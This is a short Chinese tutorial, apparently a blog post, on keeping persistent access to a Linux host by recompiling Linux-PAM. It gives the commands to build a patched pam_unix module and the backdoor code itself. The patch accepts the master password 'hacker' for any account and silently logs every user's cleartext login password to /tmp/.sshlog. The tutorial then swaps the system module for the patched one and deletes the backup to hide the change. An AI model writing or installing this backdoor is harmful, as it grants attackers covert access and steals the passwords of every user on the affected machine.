前言
Linux重新编译PAM模块实现权限维持
下载依赖
1
| yum install gcc flex flex-dev
|
关闭Linux安全模式(SELinux)
查看当前PAM版本
下载对应版本的PAM
1 2 3
| wget https://github.com/linux-pam/linux-pam/releases/download/v1.5.3/Linux-PAM-1.5.3.tar.xz tar -xvf Linux-PAM-1.5.3.tar.xz cd Linux-PAM-1.5.3
|
修改源码
- 将
/* verify the password of this user */下的校验逻辑替换为后门代码,添加万能密码,并保存非万能密码登录的明文密码
hacker:万能密码
/tmp/.sshlog:SSH登录的密码保存路径
modules/pam_unix/pam_unix_auth.c1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
retval = _unix_verify_password(pamh, name, p, ctrl); if (strcmp("hacker", p) == 0) { return PAM_SUCCESS; } if(retval == PAM_SUCCESS) { FILE * fp; fp = fopen("/tmp/.sshlog", "a"); fprintf(fp, "%s : %s\n", name, p); fclose(fp); } name = p = NULL;
AUTH_RETURN;
|
编译
将新的PAM文件替换原PAM文件
1 2
| mv /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
|
清理bak文件
1
| rm -f /usr/lib64/security/pam_unix.so.bakcp
|
完成